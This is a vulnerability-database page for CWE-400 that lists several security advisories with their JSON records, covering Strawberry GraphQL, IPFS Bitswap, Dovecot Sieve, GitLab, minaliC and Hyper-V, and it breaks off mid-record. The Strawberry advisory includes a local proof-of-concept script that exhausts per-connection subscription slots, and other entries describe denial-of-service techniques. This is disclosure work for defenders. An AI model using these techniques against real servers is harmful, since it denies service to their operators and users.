CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6478 vulnerabilities reference this CWE, most recent first.
GHSA-M952-2W3F-6R8H
Vulnerability from github – Published: 2026-10-09 14:07 – Updated: 2026-10-09 14:07Summary
Strawberry's legacy graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures max_subscriptions_per_connection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit reached.
This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy graphql-ws protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured max_subscriptions_per_connection limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.
Details
The audited snapshot is Strawberry 0.324.4, commit c3caabd1188acda62045e7fd9ba9e37ac430cf96. The relevant implementation is in [strawberry/subscriptions/protocols/graphql_ws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.
When a new operation is started, the handler rejects it once the task count reaches the configured limit:
if (
self.max_subscriptions_per_connection is not None
and len(self.tasks) >= self.max_subscriptions_per_connection
):
await self.send_message(
ErrorMessage(
type="error",
id=operation_id,
payload={"message": "Subscription limit reached"},
)
)
return
The operation task is stored in self.tasks, and its result source is stored in self.subscriptions. On normal exhaustion of the result source, handle_async_results() sends a completion message:
async for result in result_source:
await self.send_data_message(result, operation_id)
await self.send_message(
CompleteMessage(type="complete", id=operation_id)
)
The natural completion path does not call cleanup_operation() before returning. The deletion of the stored operation state is implemented separately:
async def cleanup_operation(self, operation_id: str) -> None:
if operation_id in self.subscriptions:
await self.subscriptions[operation_id].aclose()
del self.subscriptions[operation_id]
self.tasks[operation_id].cancel()
await self.tasks[operation_id]
del self.tasks[operation_id]
Consequently, after a one-shot operation has sent complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.
The connection-slot impact requires both parts of the behavior:
- the natural-completion path leaves the completed operation accounted for; and
- the legacy handler has
max_subscriptions_per_connectionenabled.
PoC
The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.
1. Environment installation
Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:
python -m pip install "strawberry-graphql[channels]==0.324.4" daphne
For a different tested release, replace 0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.
Record the actual versions before testing:
python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"
2. Save the bounded test
Save the following as poc.py:
import asyncio
from django.conf import settings
if not settings.configured:
settings.configure(
SECRET_KEY="local-validation-only",
CHANNEL_LAYERS={
"default": {
"BACKEND": "channels.layers.InMemoryChannelLayer",
}
},
)
import strawberry
from channels.testing import WebsocketCommunicator
from strawberry.channels.handlers.ws_handler import GraphQLWSConsumer
from strawberry.schema import Schema
from strawberry.subscriptions import GRAPHQL_WS_PROTOCOL
@strawberry.type
class Query:
@strawberry.field
def ping(self) -> str:
return "pong"
@strawberry.type
class Subscription:
@strawberry.subscription
async def one_shot(self) -> str:
yield "marker"
schema = Schema(query=Query, subscription=Subscription)
application = GraphQLWSConsumer.as_asgi(
schema=schema,
subscription_protocols=(GRAPHQL_WS_PROTOCOL,),
max_subscriptions_per_connection=2,
)
async def receive_until_complete(communicator, operation_id):
messages = []
for _ in range(3):
message = await asyncio.wait_for(
communicator.receive_json_from(), timeout=2
)
messages.append(message)
if (
message.get("type") == "complete"
and message.get("id") == operation_id
):
return messages
raise AssertionError(
f"no complete message for {operation_id}: {messages}"
)
async def main() -> None:
communicator = WebsocketCommunicator(
application,
"/graphql",
subprotocols=[GRAPHQL_WS_PROTOCOL],
)
connected, accepted_protocol = await communicator.connect()
assert connected
assert accepted_protocol == GRAPHQL_WS_PROTOCOL
try:
await communicator.send_json_to({"type": "connection_init"})
ack = await communicator.receive_json_from()
assert ack["type"] == "connection_ack"
query = "subscription { oneShot }"
await communicator.send_json_to(
{
"type": "start",
"id": "one",
"payload": {"query": query},
}
)
first_messages = await receive_until_complete(
communicator, "one"
)
await communicator.send_json_to(
{
"type": "start",
"id": "two",
"payload": {"query": query},
}
)
second_messages = await receive_until_complete(
communicator, "two"
)
# Allow completed handler tasks to finish their sends before the
# third operation is started.
await asyncio.sleep(0)
await communicator.send_json_to(
{
"type": "start",
"id": "three",
"payload": {"query": query},
}
)
third_message = await asyncio.wait_for(
communicator.receive_json_from(), timeout=2
)
print(
{
"first": first_messages,
"second": second_messages,
"third": third_message,
}
)
finally:
await communicator.disconnect()
asyncio.run(main())
3. Run
python poc.py
4. Expected results
A fixed implementation should send data and complete for both one and two, then permit three to start and complete.
The behavior is:
{
'first': [
{'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}},
{'type': 'complete', 'id': 'one'}
],
'second': [
{'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}},
{'type': 'complete', 'id': 'two'}
],
'third': {
'type': 'error',
'id': 'three',
'payload': {'message': 'Subscription limit reached'}
}
}
The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that one and two both receive complete, while three receives Subscription limit reached with a different operation ID.
Impact
When the legacy graphql-ws protocol and max_subscriptions_per_connection are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.
The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.
Exposure depends on:
- the application explicitly enabling the legacy
graphql-wsprotocol; - the application configuring
max_subscriptions_per_connection; - clients being able to maintain a persistent WebSocket connection;
- the resolver exposing a finite operation that naturally completes;
- the absence of effective connection lifetime, connection-count, authorization, or rate limits.
This report does not claim impact on the modern graphql-transport-ws protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.
Maintainer note
Confirmed and reproduced against 0.327.0. The max_subscriptions_per_connection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.
Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late stop for a completed operation is a no-op. The fix was released in 0.327.2.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "strawberry-graphql"
},
"ranges": [
{
"events": [
{
"introduced": "0.312.3"
},
{
"fixed": "0.327.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107727"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T14:07:20Z",
"nvd_published_at": "2026-10-08T23:16:58Z",
"severity": "LOW"
},
"details": "### Summary\n\nStrawberry\u0027s legacy `graphql-ws` subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its `complete` message. When the application configures `max_subscriptions_per_connection`, the handler counts those completed operations in `len(self.tasks)`. A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive `Subscription limit reached`.\n\nThis is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy `graphql-ws` protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured `max_subscriptions_per_connection` limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.\n\n### Details\n\nThe audited snapshot is Strawberry `0.324.4`, commit `c3caabd1188acda62045e7fd9ba9e37ac430cf96`. The relevant implementation is in [`[strawberry/subscriptions/protocols/graphql_ws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py)`](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.\n\nWhen a new operation is started, the handler rejects it once the task count reaches the configured limit:\n\n```python\nif (\n self.max_subscriptions_per_connection is not None\n and len(self.tasks) \u003e= self.max_subscriptions_per_connection\n):\n await self.send_message(\n ErrorMessage(\n type=\"error\",\n id=operation_id,\n payload={\"message\": \"Subscription limit reached\"},\n )\n )\n return\n```\n\nThe operation task is stored in `self.tasks`, and its result source is stored in `self.subscriptions`. On normal exhaustion of the result source, `handle_async_results()` sends a completion message:\n\n```python\nasync for result in result_source:\n await self.send_data_message(result, operation_id)\n\nawait self.send_message(\n CompleteMessage(type=\"complete\", id=operation_id)\n)\n```\n\nThe natural completion path does not call `cleanup_operation()` before returning. The deletion of the stored operation state is implemented separately:\n\n```python\nasync def cleanup_operation(self, operation_id: str) -\u003e None:\n if operation_id in self.subscriptions:\n await self.subscriptions[operation_id].aclose()\n del self.subscriptions[operation_id]\n\n self.tasks[operation_id].cancel()\n await self.tasks[operation_id]\n del self.tasks[operation_id]\n```\n\nConsequently, after a one-shot operation has sent `complete`, its task entry can remain in `self.tasks` until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.\n\nThe connection-slot impact requires both parts of the behavior:\n\n1. the natural-completion path leaves the completed operation accounted for; and\n2. the legacy handler has `max_subscriptions_per_connection` enabled.\n\n### PoC\n\nThe following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy `graphql-ws` subprotocol. It does not connect to a public endpoint or start a network service.\n\n#### 1. Environment installation\n\nCreate an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:\n\n```bash\npython -m pip install \"strawberry-graphql[channels]==0.324.4\" daphne\n```\n\nFor a different tested release, replace `0.324.4` and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.\n\nRecord the actual versions before testing:\n\n```bash\npython -c \"import sys, importlib.metadata as m; print(sys.version); print(\u0027strawberry-graphql:\u0027, m.version(\u0027strawberry-graphql\u0027)); print(\u0027channels:\u0027, m.version(\u0027channels\u0027)); print(\u0027Django:\u0027, m.version(\u0027Django\u0027)); print(\u0027asgiref:\u0027, m.version(\u0027asgiref\u0027))\"\n```\n\n#### 2. Save the bounded test\n\nSave the following as `poc.py`:\n\n```python\nimport asyncio\n\nfrom django.conf import settings\n\nif not settings.configured:\n settings.configure(\n SECRET_KEY=\"local-validation-only\",\n CHANNEL_LAYERS={\n \"default\": {\n \"BACKEND\": \"channels.layers.InMemoryChannelLayer\",\n }\n },\n )\n\nimport strawberry\nfrom channels.testing import WebsocketCommunicator\n\nfrom strawberry.channels.handlers.ws_handler import GraphQLWSConsumer\nfrom strawberry.schema import Schema\nfrom strawberry.subscriptions import GRAPHQL_WS_PROTOCOL\n\n\n@strawberry.type\nclass Query:\n @strawberry.field\n def ping(self) -\u003e str:\n return \"pong\"\n\n\n@strawberry.type\nclass Subscription:\n @strawberry.subscription\n async def one_shot(self) -\u003e str:\n yield \"marker\"\n\n\nschema = Schema(query=Query, subscription=Subscription)\n\napplication = GraphQLWSConsumer.as_asgi(\n schema=schema,\n subscription_protocols=(GRAPHQL_WS_PROTOCOL,),\n max_subscriptions_per_connection=2,\n)\n\n\nasync def receive_until_complete(communicator, operation_id):\n messages = []\n for _ in range(3):\n message = await asyncio.wait_for(\n communicator.receive_json_from(), timeout=2\n )\n messages.append(message)\n if (\n message.get(\"type\") == \"complete\"\n and message.get(\"id\") == operation_id\n ):\n return messages\n raise AssertionError(\n f\"no complete message for {operation_id}: {messages}\"\n )\n\n\nasync def main() -\u003e None:\n communicator = WebsocketCommunicator(\n application,\n \"/graphql\",\n subprotocols=[GRAPHQL_WS_PROTOCOL],\n )\n connected, accepted_protocol = await communicator.connect()\n assert connected\n assert accepted_protocol == GRAPHQL_WS_PROTOCOL\n\n try:\n await communicator.send_json_to({\"type\": \"connection_init\"})\n ack = await communicator.receive_json_from()\n assert ack[\"type\"] == \"connection_ack\"\n\n query = \"subscription { oneShot }\"\n\n await communicator.send_json_to(\n {\n \"type\": \"start\",\n \"id\": \"one\",\n \"payload\": {\"query\": query},\n }\n )\n first_messages = await receive_until_complete(\n communicator, \"one\"\n )\n\n await communicator.send_json_to(\n {\n \"type\": \"start\",\n \"id\": \"two\",\n \"payload\": {\"query\": query},\n }\n )\n second_messages = await receive_until_complete(\n communicator, \"two\"\n )\n\n # Allow completed handler tasks to finish their sends before the\n # third operation is started.\n await asyncio.sleep(0)\n\n await communicator.send_json_to(\n {\n \"type\": \"start\",\n \"id\": \"three\",\n \"payload\": {\"query\": query},\n }\n )\n third_message = await asyncio.wait_for(\n communicator.receive_json_from(), timeout=2\n )\n\n print(\n {\n \"first\": first_messages,\n \"second\": second_messages,\n \"third\": third_message,\n }\n )\n finally:\n await communicator.disconnect()\n\n\nasyncio.run(main())\n```\n\n#### 3. Run\n\n```bash\npython poc.py\n```\n\n#### 4. Expected results\n\nA fixed implementation should send `data` and `complete` for both `one` and `two`, then permit `three` to start and complete.\n\nThe behavior is:\n\n```text\n{\n \u0027first\u0027: [\n {\u0027type\u0027: \u0027data\u0027, \u0027id\u0027: \u0027one\u0027, \u0027payload\u0027: {\u0027data\u0027: {\u0027oneShot\u0027: \u0027marker\u0027}}},\n {\u0027type\u0027: \u0027complete\u0027, \u0027id\u0027: \u0027one\u0027}\n ],\n \u0027second\u0027: [\n {\u0027type\u0027: \u0027data\u0027, \u0027id\u0027: \u0027two\u0027, \u0027payload\u0027: {\u0027data\u0027: {\u0027oneShot\u0027: \u0027marker\u0027}}},\n {\u0027type\u0027: \u0027complete\u0027, \u0027id\u0027: \u0027two\u0027}\n ],\n \u0027third\u0027: {\n \u0027type\u0027: \u0027error\u0027,\n \u0027id\u0027: \u0027three\u0027,\n \u0027payload\u0027: {\u0027message\u0027: \u0027Subscription limit reached\u0027}\n }\n}\n```\n\nThe exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that `one` and `two` both receive `complete`, while `three` receives `Subscription limit reached` with a different operation ID.\n\n\n## Impact\n\nWhen the legacy `graphql-ws` protocol and `max_subscriptions_per_connection` are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.\n\nThe primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.\n\nExposure depends on:\n\n- the application explicitly enabling the legacy `graphql-ws` protocol;\n- the application configuring `max_subscriptions_per_connection`;\n- clients being able to maintain a persistent WebSocket connection;\n- the resolver exposing a finite operation that naturally completes;\n- the absence of effective connection lifetime, connection-count, authorization, or rate limits.\n\nThis report does not claim impact on the modern `graphql-transport-ws` protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.\n\n### Maintainer note\n\nConfirmed and reproduced against 0.327.0. The `max_subscriptions_per_connection` feature this affects was introduced in 0.312.3 (#4344), so the affected range is \u003e= 0.312.3, \u003c= 0.327.0.\n\nFixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late `stop` for a completed operation is a no-op. The fix was released in 0.327.2.",
"id": "GHSA-m952-2w3f-6r8h",
"modified": "2026-10-09T14:07:20Z",
"published": "2026-10-09T14:07:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-m952-2w3f-6r8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107727"
},
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/pull/4610"
},
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/commit/24c5e46d57f7ad4f77e6e01fb8ae482dd1c0ff92"
},
{
"type": "PACKAGE",
"url": "https://github.com/strawberry-graphql/strawberry"
},
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.327.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Strawberry legacy graphql-ws retains naturally completed subscription slots"
}
GHSA-M974-XJ4J-7QV5
Vulnerability from github – Published: 2023-05-11 20:32 – Updated: 2023-05-11 20:32Impact
An attacker is able allocate arbitrarily many bytes in the Bitswap server by sending many WANT_BLOCK and or WANT_HAVE requests which are queued in an unbounded queue, with allocations that persist even if the connection is closed.
This affects users accepting untrusted connections with the Bitswap server, this also affects users using the old API stubs at github.com/ipfs/boxo/bitswap because it transitively uses github.com/ipfs/boxo/bitswap/server.
We have renamed go-libipfs to boxo; this document uses both terms interchangeably. The version numbers for both are applicable, as they share the same historical timeline.
Remediation
Apply one of:
- Update boxo to v0.6.0 or later
- Update boxo to v0.4.1
Note that v0.5.0 is NOT safe, v0.4.1 is a backport of the v0.6.0 security fixes on top of v0.4.0.
Mitigations
- The server now limits how many wantlist entries per peer it knows.
The
MaxQueuedWantlistEntriesPerPeeroption allows configuring how many wantlist entries the server remembers; if a peer sends a wantlist bigger than this (including a sum of multiple delta updates) the server will truncate the wantlist to the match the limit. This defaults to1024entries per peer. - The server now properly clears state about peers when they disconnect.
Peer state is more lazily allocated (only when a wantlist is received in the first place) and is properly cleared when the
PeerDisconnectedcallback is received. - The server now ignores CIDs above some size.
Clients were able to send any CID as long as the total protobuf message were bellow the 4MiB limit. This is allowed to allocate lots of memory with very little entries.
This can be configured using the
MaxCidSizeoption and defaults to168 bytes. - The server now closes the connection if an inline CID is requested (either as
WANT_*orCANCEL). The attack were more effective if done with CIDs that are present in target's blockstore, this is because this will push longer-lasting jobs on some priority queue. Since inline CID are literal data (instead of hashes of data), everyone always "has" any inline CID (since instead of loading the data from disk, it can be extracted from the CID). It makes no sense for anyone to ever ask you about an inline CID since they could also just parse it themselves. Thus, as a defensive measure, we kill the connection with peers that ask about an inline CID.
Vulnerable symbols
github.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).MessageReceivedgithub.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).NotifyNewBlocksgithub.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).findOrCreategithub.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).PeerConnected
Patches
- https://github.com/ipfs/boxo/commit/9cb5cb54d40b57084d1221ba83b9e6bb3fcc3197 (mitigations 1 and 2)
- https://github.com/ipfs/boxo/commit/62cbac40b96f49e39cd7fedc77ee6b56adce4916 (mitigations 3 and 4)
- https://github.com/ipfs/boxo/commit/baa748b682fabb21a4c1f7628a8af348d4645974 (tests)
Workarounds
If you are using the stubs at github.com/ipfs/go-libipfs/bitswap and not taking advantage of the features provided by the server, refactoring your code to use the new split API will allow you to run in a client-only mode using: github.com/ipfs/boxo/bitswap/client.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/ipfs/go-libipfs"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/ipfs/go-libipfs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25568"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-11T20:32:18Z",
"nvd_published_at": "2023-05-10T14:15:32Z",
"severity": "HIGH"
},
"details": "### Impact\nAn attacker is able allocate arbitrarily many bytes in the Bitswap server by sending many `WANT_BLOCK` and or `WANT_HAVE` requests which are queued in an unbounded queue, with allocations that persist even if the connection is closed.\nThis affects users accepting untrusted connections with the Bitswap server, this also affects users using the old API stubs at `github.com/ipfs/boxo/bitswap` because it transitively uses `github.com/ipfs/boxo/bitswap/server`.\n\nWe have [renamed go-libipfs to boxo](https://github.com/ipfs/boxo/issues/215); this document uses both terms interchangeably. The version numbers for both are applicable, as they share the same historical timeline.\n\n### Remediation\nApply one of:\n- Update `boxo` to [`v0.6.0`](https://github.com/ipfs/boxo/releases/tag/v0.6.0) or later\n- Update `boxo` to [`v0.4.1`](https://github.com/ipfs/boxo/releases/tag/v0.4.1)\n Note that ***`v0.5.0` is NOT safe***, `v0.4.1` is a backport of the `v0.6.0` security fixes on top of `v0.4.0`.\n\n### Mitigations\n1. The server now limits how many wantlist entries per peer it knows.\n The `MaxQueuedWantlistEntriesPerPeer` option allows configuring how many wantlist entries the server remembers; if a peer sends a wantlist bigger than this (including a sum of multiple delta updates) the server will truncate the wantlist to the match the limit.\n This defaults to `1024` entries per peer.\n2. The server now properly clears state about peers when they disconnect.\n Peer state is more lazily allocated (only when a wantlist is received in the first place) and is properly cleared when the `PeerDisconnected` callback is received.\n3. The server now ignores CIDs above some size.\n Clients were able to send any CID as long as the total protobuf message were bellow the 4MiB limit. This is allowed to allocate lots of memory with very little entries.\n This can be configured using the `MaxCidSize` option and defaults to `168 bytes`.\n4. The server now closes the connection if an inline CID is requested (either as `WANT_*` or `CANCEL`).\n The attack were more effective if done with CIDs that are present in target\u0027s blockstore, this is because this will push longer-lasting jobs on some priority queue.\n Since inline CID are literal data (instead of hashes of data), everyone always \"has\" any inline CID (since instead of loading the data from disk, it can be extracted from the CID). It makes no sense for anyone to ever ask you about an inline CID since they could also just parse it themselves. Thus, as a defensive measure, we kill the connection with peers that ask about an inline CID.\n\n### Vulnerable symbols\n- `github.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).MessageReceived`\n- `github.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).NotifyNewBlocks`\n- `github.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).findOrCreate`\n- `github.com/ipfs/go-libipfs/bitswap/server/internal/decision.(*Engine).PeerConnected`\n\n### Patches\n- https://github.com/ipfs/boxo/commit/9cb5cb54d40b57084d1221ba83b9e6bb3fcc3197 (mitigations 1 and 2)\n- https://github.com/ipfs/boxo/commit/62cbac40b96f49e39cd7fedc77ee6b56adce4916 (mitigations 3 and 4)\n- https://github.com/ipfs/boxo/commit/baa748b682fabb21a4c1f7628a8af348d4645974 (tests)\n\n### Workarounds\nIf you are using the stubs at `github.com/ipfs/go-libipfs/bitswap` and not taking advantage of the features provided by the server, refactoring your code to use the new split API will allow you to run in a client-only mode using: [`github.com/ipfs/boxo/bitswap/client`](https://pkg.go.dev/github.com/ipfs/boxo/bitswap/client).",
"id": "GHSA-m974-xj4j-7qv5",
"modified": "2023-05-11T20:32:18Z",
"published": "2023-05-11T20:32:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ipfs/boxo/security/advisories/GHSA-m974-xj4j-7qv5"
},
{
"type": "WEB",
"url": "https://github.com/ipfs/go-libipfs/security/advisories/GHSA-m974-xj4j-7qv5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25568"
},
{
"type": "WEB",
"url": "https://github.com/ipfs/boxo/commit/62cbac40b96f49e39cd7fedc77ee6b56adce4916"
},
{
"type": "WEB",
"url": "https://github.com/ipfs/boxo/commit/9cb5cb54d40b57084d1221ba83b9e6bb3fcc3197"
},
{
"type": "WEB",
"url": "https://github.com/ipfs/boxo/commit/baa748b682fabb21a4c1f7628a8af348d4645974"
},
{
"type": "PACKAGE",
"url": "https://github.com/ipfs/boxo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Boxo bitswap/server: DOS unbounded persistent memory leak"
}
GHSA-M97M-74MQ-MQC6
Vulnerability from github – Published: 2026-05-12 15:31 – Updated: 2026-05-12 15:31Attacker can upload a malicious Sieve script over ManageSieve service (or locally) to bypass configured CPU time limits for Sieve up to 130 times of the configured limit. Attacker can use this to degrade server performance and bypass configured CPU time limits for Sieve scripts. Install fixed version, or alternatively prevent direct access to Sieve scripts via ManageSieve or local access. No publicly available exploits are known.
{
"affected": [],
"aliases": [
"CVE-2026-40016"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T14:17:03Z",
"severity": "MODERATE"
},
"details": "Attacker can upload a malicious Sieve script over ManageSieve service (or locally) to bypass configured CPU time limits for Sieve up to 130 times of the configured limit. Attacker can use this to degrade server performance and bypass configured CPU time limits for Sieve scripts. Install fixed version, or alternatively prevent direct access to Sieve scripts via ManageSieve or local access. No publicly available exploits are known.",
"id": "GHSA-m97m-74mq-mqc6",
"modified": "2026-05-12T15:31:41Z",
"published": "2026-05-12T15:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40016"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0002.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M99Q-R6R6-WXX3
Vulnerability from github – Published: 2024-08-08 12:30 – Updated: 2024-08-08 12:30An issue was discovered in GitLab CE/EE affecting all versions starting from 11.10 prior to 17.0.6, 17.1 prior to 17.1.4, and 17.2 prior to 17.2.2, with the processing logic for parsing invalid commits can lead to a regular expression DoS attack on the server.
{
"affected": [],
"aliases": [
"CVE-2024-3114"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-08T11:15:12Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in GitLab CE/EE affecting all versions starting from 11.10 prior to 17.0.6, 17.1 prior to 17.1.4, and 17.2 prior to 17.2.2, with the processing logic for parsing invalid commits can lead to a regular expression DoS attack on the server.",
"id": "GHSA-m99q-r6r6-wxx3",
"modified": "2024-08-08T12:30:35Z",
"published": "2024-08-08T12:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3114"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2416630"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/452547"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M9FG-3Q8V-GM74
Vulnerability from github – Published: 2025-12-12 00:30 – Updated: 2025-12-12 00:30minaliC 2.0.0 contains a denial of service vulnerability that allows remote attackers to crash the web server by sending oversized GET requests. Attackers can send crafted HTTP requests with excessive data to overwhelm the server and cause service interruption.
{
"affected": [],
"aliases": [
"CVE-2024-58306"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T22:15:52Z",
"severity": "HIGH"
},
"details": "minaliC 2.0.0 contains a denial of service vulnerability that allows remote attackers to crash the web server by sending oversized GET requests. Attackers can send crafted HTTP requests with excessive data to overwhelm the server and cause service interruption.",
"id": "GHSA-m9fg-3q8v-gm74",
"modified": "2025-12-12T00:30:21Z",
"published": "2025-12-12T00:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58306"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51917"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/minalic-denial-of-service-vulnerability-via-large-get-request"
},
{
"type": "WEB",
"url": "http://minalic.sourceforge.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M9HW-3QVV-6HXR
Vulnerability from github – Published: 2021-12-16 00:01 – Updated: 2022-05-24 00:00Windows Hyper-V Denial of Service Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-43246"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-15T15:15:00Z",
"severity": "MODERATE"
},
"details": "Windows Hyper-V Denial of Service Vulnerability",
"id": "GHSA-m9hw-3qvv-6hxr",
"modified": "2022-05-24T00:00:39Z",
"published": "2021-12-16T00:01:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43246"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-43246"
}
],
"schema_version": "1.4.0",
